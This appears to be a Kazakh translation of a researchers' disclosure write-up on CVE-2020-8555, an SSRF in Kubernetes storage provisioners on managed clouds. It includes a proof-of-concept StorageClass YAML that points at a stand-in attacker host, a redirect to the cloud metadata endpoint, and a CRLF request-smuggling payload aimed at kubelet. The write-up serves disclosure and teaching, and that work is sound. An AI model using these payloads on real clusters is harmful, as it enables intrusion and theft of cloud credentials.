🥇Күйбернетестегі осалдық туралы ғана емес...

Ескерту. аударма: осы мақаланың авторлары осалдықты қалай анықтағандары туралы егжей-тегжейлі әңгімелейді CVE-2020–8555 Кубернетес қаласында. Бастапқыда бұл өте қауіпті болып көрінбесе де, басқа факторлармен бірге кейбір бұлттық провайдерлер үшін оның маңыздылығы максималды болды. Бірнеше мекеме мамандарды еңбектері үшін жомарттықпен марапаттады.

Біз кімбіз

Біз Kubernetes-те осалдықты бірге ашқан екі француздық қауіпсіздік зерттеушісіміз. Біздің есімдеріміз Брис Ауграс және Кристоф Хаукьерт, бірақ көптеген Bug Bounty платформаларында біз сәйкесінше Reeverzax және Hach ретінде белгілі:

Брис Ауграс - Groupe Asten компаниясы;
Кристоф Хаукьерт - Nokia-дағы Кубернетес сәулетшісі.

Не болды?

Бұл мақала кәдімгі зерттеу жобасының күтпеген жерден қателерді іздеушілердің өміріндегі ең қызықты шытырман оқиғаға айналғанын бөлісу тәсілі (кем дегенде қазір).

Өздеріңіз білетіндей, қателерді іздеушілердің бірнеше маңызды ерекшеліктері бар:

олар пицца мен сырада өмір сүреді;
олар бәрі ұйықтап жатқанда жұмыс істейді.

Біз бұл ережелерден тыс емеспіз: біз әдетте демалыс күндері кездесіп, ұйқысыз түндерді хакерлікпен өткіземіз. Бірақ бұл түндердің бірі өте ерекше аяқталды.

Бастапқыда біз кездесуге қатысуды талқылайтын болдық CTF келесі күні. Басқарылатын қызмет ортасында Kubernetes қауіпсіздігі туралы әңгімелесу кезінде біз SSRF туралы ескі идеяны еске түсірдік (Сервер жағындағы сұрауды жалған жасау) және оны шабуыл сценарийі ретінде пайдалануды шешті.

Сағат 11-де біз зерттеу жұмыстарын жүргізуге отырдық және нәтижеге өте риза болып, таңертең ерте ұйықтадық. Дәл осы зерттеудің арқасында біз MSRC Bug Bounty бағдарламасына тап болдық және артықшылықты кеңейту эксплойтін ойлап таптық.

Бірнеше апта/ай өтті және біздің күтпеген нәтиже Azure Cloud Bug Bounty тарихындағы ең жоғары марапаттардың біріне әкелді - біз Kubernetes-тен алған сыйлыққа қосымша!

Біздің зерттеу жобамыздың негізінде Kubernetes өнімінің қауіпсіздік комитеті жариялады CVE-2020–8555.

Енді мен мүмкіндігінше табылған осалдық туралы ақпаратты таратқым келеді. Табылғаныңызды бағалайсыз және техникалық мәліметтерді infosec қауымдастығының басқа мүшелерімен бөлісесіз деп үміттенеміз!

Міне, біздің тарихымыз ...

Контекст

Не болғанын түсіну үшін алдымен Kubernetes бұлт басқарылатын ортада қалай жұмыс істейтінін қарастырайық.

Осындай ортада Kubernetes кластерін жасаған кезде, басқару қабаты әдетте бұлттық провайдердің жауапкершілігінде болады:

Басқару қабаты бұлт провайдерінің периметрінде, ал Кубернетес түйіндері тұтынушының периметрінде орналасқан.

Томдарды динамикалық түрде бөлу үшін оларды сыртқы жад серверінен динамикалық қамтамасыз ету және оларды PVC (тұрақты көлем туралы шағым, яғни томға сұрау) салыстыру механизмі пайдаланылады.

Осылайша, PVC жасалған және K8s кластеріндегі StorageClass класына байланыстырылғаннан кейін, көлемді қамтамасыз ету бойынша қосымша әрекеттерді kube/бұлтты контроллер менеджері қабылдайды (оның нақты атауы шығарылымға байланысты). (Ескерту. аударма: Біз CCM туралы толығырақ оны бұлттық провайдерлердің біріне енгізу үлгісін пайдаланып жазғанбыз осында.)

Kubernetes қолдайтын провайдерлердің бірнеше түрі бар: олардың көпшілігі кіреді оркестрдің өзегі, ал басқалары кластердегі қосқыштарға орналастырылған қосымша провайдерлер арқылы басқарылады.

Біздің зерттеуімізде біз төменде көрсетілген ішкі көлемді қамтамасыз ету механизміне назар аудардық:

Кірістірілген Kubernetes провайдерін пайдалана отырып, көлемдерді динамикалық қамтамасыз ету

Қысқаша айтқанда, Kubernetes басқарылатын ортада орналастырылған кезде, контроллер менеджері бұлттық провайдердің жауапкершілігінде болады, бірақ көлемді құру сұрауы (жоғарыдағы диаграммадағы 3 нөмір) бұлттық провайдердің ішкі желісінен шығады. Міне, мұнда нәрселер шынымен қызықты болады!

Бұзылу сценарийі

Бұл бөлімде біз жоғарыда аталған жұмыс үрдісінің артықшылықтарын қалай пайдаланғанымызды және бұлттық қызмет провайдерінің ішкі ресурстарына қалай қол жеткізгенімізді түсіндіреміз. Сондай-ақ ол ішкі тіркелгі деректерін алу немесе артықшылықтарды арттыру сияқты белгілі бір әрекеттерді қалай орындауға болатынын көрсетеді.

Бір қарапайым манипуляция (бұл жағдайда, қызмет жағынан сұрауды жалған жасау) басқарылатын K8s астында әртүрлі қызмет жеткізушілерінің кластерлеріне клиенттік ортадан шығуға көмектесті.

Зерттеуімізде біз GlusterFS провайдеріне назар аудардық. Әрі қарайғы әрекеттер тізбегі осы контексте сипатталғанына қарамастан, Quobyte, StorageOS және ScaleIO бірдей осалдыққа бейім.

Динамикалық көлемді қамтамасыз ету механизмін теріс пайдалану

Сақтау класын талдау кезінде GlusterFS Golang клиентінің бастапқы кодында біз байқадытом жасау кезінде жіберілген бірінші HTTP сұрауында (3) параметрдегі реттелетін URL мекенжайының соңына дейін resturl қосылады /volumes.

Біз осы қосымша жолдан қосу арқылы құтылуды шештік # параметрінде resturl. Міне, біз жартылай соқыр SSRF осалдығын тексеру үшін пайдаланған бірінші YAML конфигурациясы. (сіз жартылай соқыр немесе жартылай соқыр SSRF туралы көбірек оқи аласыз, мысалы, осында - шамамен. аудар.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Содан кейін біз Kubernetes кластерін қашықтан басқару үшін екілік файлды қолдандық кубектл. Әдетте бұлттық провайдерлер (Azure, Google, AWS және т.б.) осы утилитада пайдалану үшін тіркелгі деректерін алуға мүмкіндік береді.

Осының арқасында мен «арнайы» файлымды пайдалана алдым. Kube-контроллер-менеджер нәтижесінде HTTP сұрауын орындады:

kubectl create -f sc-poc.yaml

Жауап шабуылдаушының көзқарасы бойынша

Осыдан кейін көп ұзамай біз мақсатты серверден - командалар арқылы HTTP жауабын ала алдық describe pvc немесе get events kubectl ішінде. Шынында да: бұл әдепкі Kubernetes драйвері ескертулерде/қате хабарларында тым егжей-тегжейлі ...

Мұнда сілтемесі бар мысал берілген https://www.google.frпараметр ретінде орнату resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Бұл тәсілде біз сияқты сұраулармен шектелдік HTTP POST және қайтару коды болса, жауап органының мазмұнын ала алмады 201. Сондықтан біз қосымша зерттеулер жүргізуді ұйғардық және бұл бұзу сценарийін жаңа тәсілдермен кеңейттік.

Біздің зерттеуіміздің эволюциясы

№1 қосымша сценарий: ішкі деректерді жинаудың икемді жолын қамтамасыз ету үшін HTTP әдісін өзгерту үшін сыртқы серверден 302 қайта бағыттауды пайдалану.
Қосымша №2 сценарий: LAN сканерлеуді және ішкі ресурстарды табуды автоматтандыру.
Жетілдірілген сценарий №3: арнайы HTTP сұрауларын жасау және kube-контроллер журналдарынан алынған деректерді алу үшін HTTP CRLF + контрабанданы («сұраныс контрабандасы») пайдалану.

Техникалық сипаттамалары

Зерттеу Солтүстік Еуропа аймағында Kubernetes 1.12 нұсқасы бар Azure Kubernetes қызметін (AKS) пайдаланды.
Жоғарыда сипатталған сценарийлер Kubernetes соңғы шығарылымдарында орындалды, үшінші сценарийді қоспағанда, себебі оған Голанг ≤ 1.12 нұсқасымен салынған Кубернетес қажет болды.
Шабуылшының сыртқы сервері - https://attacker.com.

№1 кеңейтілген сценарий: HTTP POST сұрауын GET қызметіне қайта бағыттау және құпия деректерді алу

Бастапқы әдіс қайтару үшін шабуылдаушы серверінің конфигурациясы арқылы жетілдірілді 302 HTTP қайта кодыPOST сұрауын GET сұрауына түрлендіру үшін (диаграммадағы 4-қадам):

Клиенттен бірінші сұрау (3). GlusterFS (Controller Manager), POST түрі бар. Осы қадамдарды орындау арқылы біз оны GET-ке айналдыра алдық:

Параметр ретінде resturl StorageClass ішінде ол көрсетілген http://attacker.com/redirect.php.
Endpoint https://attacker.com/redirect.php келесі орын тақырыбымен 302 HTTP күй кодымен жауап береді: http://169.254.169.254. Бұл кез келген басқа ішкі ресурс болуы мүмкін - бұл жағдайда қайта бағыттау сілтемесі тек мысал ретінде пайдаланылады.
Әдепкі бойынша net/http кітапханасы Golang сұрауды қайта бағыттайды және POST-ты 302 күй коды бар GET-ке түрлендіреді, нәтижесінде мақсатты ресурсқа HTTP GET сұрауы әкеледі.

HTTP жауап корпусын оқу үшін сізге қажет describe ПВХ нысаны:

kubectl describe pvc xxx

Міне, біз алатын JSON пішіміндегі HTTP жауапының мысалы:

Сол кездегі табылған осалдықтың мүмкіндіктері келесі тармақтарға байланысты шектелді:

Шығыс сұрауға HTTP тақырыптарын кірістіру мүмкін емес.
Денедегі параметрлері бар POST сұрауын орындау мүмкін емес (бұл жұмыс істеп тұрған etcd данасынан кілт мәнін сұрауға ыңғайлы. 2379 шифрланбаған HTTP пайдаланылса, порт).
Күй коды 200 болғанда және жауапта JSON мазмұн түрі болмаған кезде жауап негізгі мазмұнын алу мүмкін емес.

Қосымша сценарий №2: Жергілікті желіні сканерлеу

Бұл жартылай соқыр SSRF әдісі кейін бұлттық провайдердің ішкі желісін сканерлеу және жауаптар негізінде әртүрлі тыңдау қызметтерін (Метадеректер данасы, Kubelet, т.б.) сұрау үшін пайдаланылды. куб контроллері.

Алдымен Kubernetes компоненттерінің стандартты тыңдау порттары анықталды (8443, 10250, 10251 және т.б.), содан кейін сканерлеу процесін автоматтандыруға тура келді.

Ресурстарды сканерлеудің бұл әдісі өте ерекше екенін және классикалық сканерлермен және SSRF құралдарымен үйлесімді емес екенін көріп, біз бүкіл процесті автоматтандыратын bash сценарийінде өз жұмысшыларымызды жасауды шештік.

Мысалы, ішкі желінің 172.16.0.0/12 диапазонын жылдам сканерлеу үшін қатарлас 15 жұмысшы іске қосылды. Жоғарыдағы IP ауқымы тек мысал ретінде таңдалды және ол сіздің арнайы қызмет провайдеріңіздің IP ауқымына өзгертілуі мүмкін.

Бір IP мекенжайын және бір портты сканерлеу үшін келесі әрекеттерді орындау қажет:

соңғы тексерілген StorageClass жою;
алдыңғы тексерілген тұрақты көлем туралы шағымды жою;
ішінде IP және Порт мәндерін өзгертіңіз sc.yaml;
жаңа IP және порты бар StorageClass жасау;
жаңа ПВХ жасау;
ПВХ үшін сипаттаманы пайдаланып сканерлеу нәтижелерін алыңыз.

Жетілдірілген сценарий №3: CRLF инъекциясы + Kubernetes кластерінің «ескі» нұсқаларында HTTP контрабандасы

Бұған қоса, провайдер клиенттерге K8s кластерінің ескі нұсқаларын ұсынса и оларға kube-контроллер-менеджер журналдарына қол жеткізуге мүмкіндік берді, әсер одан да маңызды болды.

Шынында да, шабуылдаушыға өз қалауы бойынша толық HTTP жауабын алуға арналған HTTP сұрауларын өзгерту әлдеқайда ыңғайлы.

Соңғы сценарийді жүзеге асыру үшін келесі шарттарды орындау қажет болды:

Пайдаланушыда kube-контроллер-менеджер журналдарына (мысалы, Azure LogInsights жүйесіндегі сияқты) қатынас болуы керек.
Kubernetes кластері Голанг нұсқасының 1.12-ден төмен нұсқасын пайдалануы керек.

Біз GlusterFS Go клиенті мен жалған мақсатты сервер арасындағы байланысты модельдейтін жергілікті ортаны қолдандық (әзірше PoC жариялаудан бас тартамыз).

Табылды осалдық, 1.12-ден төмен Голанг нұсқаларына әсер етеді және хакерлерге HTTP контрабанда/CRLF шабуылдарын жүзеге асыруға мүмкіндік береді.

Жоғарыда сипатталған жартылай соқыр SSRF біріктіру арқылы вместе осы арқылы біз өз қалауымыз бойынша сұрауларды жібере алдық, соның ішінде тақырыптарды, HTTP әдісін, параметрлерді және kube-контроллер-менеджер өңдеген деректерді ауыстыру.

Мұнда параметрдегі жұмыс істейтін «жемнің» мысалы келтірілген resturl Ұқсас шабуыл сценарийін жүзеге асыратын StorageClass:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Нәтиже – қате сұралмаған жауап, контроллер журналдарында жазылған хабарлама. Әдепкі бойынша қосылған егжей-тегжейліліктің арқасында HTTP жауап хабарының мазмұны да сонда сақталады.

Бұл тұжырымдаманы дәлелдеу аясындағы ең тиімді «жем» болды.

Осы тәсілді пайдалана отырып, біз әртүрлі басқарылатын k8s провайдерлерінің кластерлеріне келесі шабуылдардың кейбірін жүзеге асыра алдық: метадеректер даналарында тіркелгі деректерімен артықшылықты арттыру, және т.б. басты даналарда (шифрланбаған) HTTP сұраулары арқылы Master DoS және т.б.

Салдары

Kubernetes ресми мәлімдемесінде біз тапқан SSRF осалдығына қатысты ол бағаланды CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Кубернетес периметрімен байланысты осалдықты ғана қарастырсақ, тұтастық векторы (тұтастық векторы) ретінде сәйкестендіріледі None.

Дегенмен, басқарылатын қызмет ортасының контекстіндегі ықтимал салдарды бағалау (және бұл біздің зерттеуіміздің ең қызықты бөлігі болды!) осалдықты рейтингке қайта жіктеуге итермеледі. Критикалық CVSS10/10 көптеген дистрибьюторлар үшін.

Төменде бұлттық орталардағы ықтимал әсерлерді бағалау кезінде ескерулерімізді түсінуге көмектесетін қосымша ақпарат берілген:

Адалдық

Сатып алынған ішкі тіркелгі деректерін пайдаланып пәрмендерді қашықтан орындаңыз.
Жергілікті желіде табылған басқа ресурстармен IDOR (қауіпсіз тікелей нысан сілтемесі) әдісі арқылы жоғарыдағы сценарийді қайта жасау.

Құпиялылық

Шабуыл түрі Бүйірлік қозғалыс бұлттық тіркелгі деректерін ұрлаудың арқасында (мысалы, метадеректер API).
Жергілікті желіні сканерлеу арқылы ақпаратты жинау (SSH нұсқасын, HTTP сервер нұсқасын анықтау, ...).
Метадеректер API сияқты ішкі API интерфейстерін сұрау арқылы дана мен инфрақұрылым туралы ақпаратты жинаңыз (http://169.254.169.254, ...).
Бұлттық тіркелгі деректерін пайдаланып тұтынушы деректерін ұрлау.

Қол жетімділік

Шабуыл векторларына қатысты барлық пайдалану сценарийлері тұтастық, деструктивті әрекеттер үшін пайдаланылуы мүмкін және клиент периметрінен (немесе кез келген басқа) негізгі даналардың қолжетімсіз болуына әкелуі мүмкін.

Біз басқарылатын K8s ортасында болғандықтан және тұтастыққа әсерін бағалағандықтан, қолжетімділікке әсер етуі мүмкін көптеген сценарийлерді елестете аламыз. Қосымша мысалдарға etcd дерекқорын бұзу немесе Kubernetes API-ге маңызды қоңырау шалу кіреді.

Уақыт сызбасы

6 желтоқсан, 2019 жыл: осалдық туралы MSRC Bug Bounty хабарланды.
3 жылдың 2020 қаңтары: Үшінші тарап Kubernetes әзірлеушілеріне қауіпсіздік мәселесімен жұмыс істеп жатқанымыз туралы хабарлады. Және олардан SSRF-ті ішкі (ішкі) осалдық ретінде қарастыруды сұрады. Содан кейін мәселенің қайнар көзі туралы техникалық мәліметтері бар жалпы есеп бердік.
15 жылдың 2020 қаңтары: Біз Kubernetes әзірлеушілеріне олардың сұрауы бойынша техникалық және жалпы есептерді бердік (HackerOne платформасы арқылы).
15 жылдың 2020 қаңтары: Kubernetes әзірлеушілері өткен шығарылымдарға арналған жартылай соқыр SSRF + CRLF инъекциясы негізгі осалдық болып саналатынын хабарлады. Біз басқа қызмет провайдерлерінің периметрін талдауды бірден тоқтаттық: K8s командасы енді негізгі себеппен айналысуда.
15 жылдың 2020 қаңтары: MSRC сыйлығы HackerOne арқылы алынды.
16 жылдың 2020 қаңтары: Kubernetes PSC (Өнім қауіпсіздік комитеті) осалдықты мойындады және ықтимал құрбандардың көптігіне байланысты оны наурыздың ортасына дейін құпия сақтауды сұрады.
11 жылдың 2020 ақпаны: Google VRP сыйлығы алынды.
4 наурыз, 2020 жыл: Kubernetes сыйлығы HackerOne арқылы алынды.
15 жылдың 2020 наурызы: Бастапқыда жоспарланған көпшілікке жариялау COVID-19 жағдайына байланысты кейінге қалдырылды.
1 маусым, 2020 жыл: Kubernetes + Microsoft осалдық туралы бірлескен мәлімдеме.

TL; DR

Біз сыра ішеміз, пицца жейміз :)
Біз Kubernetes-те негізгі осалдықты таптық, бірақ мұны істеу ниетіміз жоқ еді.
Біз әртүрлі бұлттық провайдерлердің кластерлеріне қосымша талдау жүргіздік және қосымша керемет бонустар алу үшін осалдықтан келтірілген зиянды арттыра алдық.
Осы мақалада сіз көптеген техникалық мәліметтерді таба аласыз. Біз сізбен оларды талқылауға қуаныштымыз (Twitter: @ReeverZax & @__hach_).
Кез келген формальдылық пен есеп беру күткеннен әлдеқайда ұзаққа созылатыны белгілі болды.

сілтемелер

Аудармашыдан PS

Біздің блогта да оқыңыз:

Ақпарат көзі: www.habr.com

Бұл тек Kubernetes осалдықтары туралы емес кезде...